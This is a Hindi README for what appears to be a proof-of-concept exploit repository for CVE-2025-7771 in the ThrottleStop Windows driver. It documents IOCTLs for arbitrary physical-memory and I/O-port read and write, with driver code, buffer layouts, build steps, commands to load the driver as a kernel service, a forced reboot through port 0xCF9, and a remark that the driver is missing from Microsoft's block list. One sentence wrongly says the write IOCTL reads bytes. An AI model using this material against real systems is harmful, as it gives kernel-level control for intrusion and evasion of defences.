
CVE-2025-7771: ThrottleStop ड्राइवर के माध्यम से मनमाना भौतिक मेमोरी और I/O पोर्ट पढ़ना/लिखना
CVE-2025-7771: ThrottleStop ड्राइवर के माध्यम से मनमाना भौतिक मेमोरी और I/O पोर्ट पढ़ना/लिखना
ThrottleStop एक छोटा वैध एप्लिकेशन है जिसका उपयोग CPU थ्रॉटलिंग की निगरानी और सुधार के लिए किया जाता है। इसमें एक ड्राइवर है जो इन कार्यों को सुविधाजनक बनाता है और इसमें अधिकतर किसी भी प्रकार का इनपुट सत्यापन नहीं है।
| IOCTL | भेद्यता |
|---|---|
| 0x80006498 | मनमाना मेमोरी पढ़ना |
| 0x8000649C | मनमाना मेमोरी लिखना |
| 0x80006430 | मनमाना पोर्ट पढ़ना |
| 0x80006434 | मनमाना पोर्ट लिखना |
ऐसा भी प्रतीत होता है कि मनमाना MSR पढ़ना और लिखना संभव है, लेकिन मैं उन्हें कार्यशील नहीं कर सका।
आप स्वयं इसे देखने के लिए स्वतंत्र हैं।
MSR पढ़ना 0x80006448 पर है और लिखना 0x8000644C पर है।
यदि आप इसे कार्यशील कर पाते हैं, तो कृपया प्रक्रिया का वर्णन करते हुए एक issue सबमिट करें।
नीचे उल्लिखित सभी IOCTL कॉल Exploit.c फ़ाइल में कार्यान्वित हैं।
0x80006498 IOCTL किसी भी प्रदान किए गए भौतिक पते को MmMapIoSpace का उपयोग करके कर्नेल स्पेस में मैप करता है और उससे 1, 2, 4, या 8 बाइट्स पढ़ता है। फिर डेटा को वापस यूज़र स्पेस में कॉपी किया जाता है।
इस IOCTL को ट्रिगर करने के लिए, DeviceIoControl का उपयोग इनपुट के रूप में भौतिक पते और आउटपुट बफ़र आकार के रूप में पढ़ने के आकार (1, 2, 4, या 8) के साथ करें।
ड्राइवर में इस IOCTL के लिए सरलीकृत कोड:
case 0x80006498: {
size_t readSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
पढ़ने के समान, 0x8000649C IOCTL प्रदान किए गए भौतिक पते को MmMapIoSpace का उपयोग करके कर्नेल स्पेस में मैप करता है और उससे 1, 2, 4, या 8 बाइट्स पढ़ता है।
इस IOCTL को ट्रिगर करने के लिए, DeviceIoControl का उपयोग निम्नलिखित इनपुट बफ़र लेआउट के साथ करें:
struct {
ULONGLONG PhysicalAddress; // 8 bytes
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
इनपुट बफ़र आकार लिखने के आकार के आधार पर 8 + (1, 2, 4, या 8) होगा।
आउटपुट बफ़र और आउटपुट बफ़र आकार अप्रयुक्त हैं।
ड्राइवर में इस IOCTL के लिए सरलीकृत कोड:
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
0x80006430 IOCTL उपयोगकर्ता को एक IO पोर्ट निर्दिष्ट करने और __inbyte, __inword, या __indword का उपयोग करके सीधे उससे पढ़ने की अनुमति देता है।
इनपुट बफ़र एक USHORT है और इनपुट बफ़र आकार sizeof(USHORT) होना चाहिए।
आउटपुट बफ़र परिणाम रखेगा (अनुरोधित आकार के आधार पर 1, 2, या 4 बाइट्स) और आउटपुट आकार 1, 2, या 4 हो सकता है।
ड्राइवर में इस IOCTL के लिए सरलीकृत कोड:
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
पोर्ट पढ़ने के समान, 0x80006434 IOCTL उपयोगकर्ता को एक IO पोर्ट निर्दिष्ट करने और __outbyte, __outword, या __outdword के साथ उसमें मनमाना मान लिखने की अनुमति देता है।
इनपुट बफ़र लेआउट है:
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignment
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
इनपुट बफ़र आकार sizeof(USHORT) + sizeof(Value) (+ padding) होना चाहिए। आउटपुट बफ़र और उसका आकार अप्रयुक्त हैं।
ड्राइवर में इस IOCTL के लिए सरलीकृत कोड:
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
यह अनुवाद Superfetch का दुरुपयोग करके संभव है, जो एक वैध कर्नेल मॉड्यूल है जो अवर्णित APIs का उपयोग करके वर्चुअल से भौतिक पता अनुवाद प्रदान करता है। इसका कोड vtop.c में कार्यान्वित है
इस प्रोजेक्ट को Meson का उपयोग करके संकलित किया जा सकता है। यह PsInitialSystemProcess का उपयोग करके System प्रक्रिया की EPROCESS संरचना को हल करके UniqueProcessId फ़ील्ड पढ़ता है और जाँचता है कि यह 4 है या नहीं (Main.c में कार्यान्वित और किसी विशिष्ट PID की EPROCESS खोजने के फ़ंक्शन EProcess.c में कार्यान्वित हैं)। इसके अतिरिक्त, यह उपयोगकर्ता से पूछता है कि क्या वे अपने सिस्टम को जबरन पुनः आरंभ करना चाहते हैं। यह पोर्ट 0xCF9 पर 0x0E मान लिखकर संभव है।
चेतावनी: सब कुछ Windows 11 build 24H2 पर परीक्षण किया गया था। आपके सिस्टम पर EPROCESS संरचना में ऑफ़सेट भिन्न हो सकते हैं।
प्रोजेक्ट को इस प्रकार बिल्ड करें
meson setup build
यह build डायरेक्टरी बनाएगा। अब प्रोजेक्ट को इस प्रकार संकलित करें
meson compile -C build
ड्राइवर रिपॉजिटरी की Drivers डायरेक्टरी में उपलब्ध है। ThrottleStop ड्राइवर सीधे ThrottleStop.exe प्रोग्राम से Resource Hacker के माध्यम से निकाले जा सकते हैं। आपको 2 ड्राइवर मिलेंगे - x64 और x86। DriverObject->MajorFunction[14] उस डिस्पैच फ़ंक्शन को रखता है जहाँ सभी IOCTLs कार्यान्वित किए गए हैं।
इसका उपयोग करके ड्राइवर बनाएं और प्रारंभ करें:
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop
https://github.com/jonomango/superfetch
यह ड्राइवर अभी तक Microsoft ड्राइवर ब्लॉक सूची या loldrivers में नहीं जोड़ा गया है।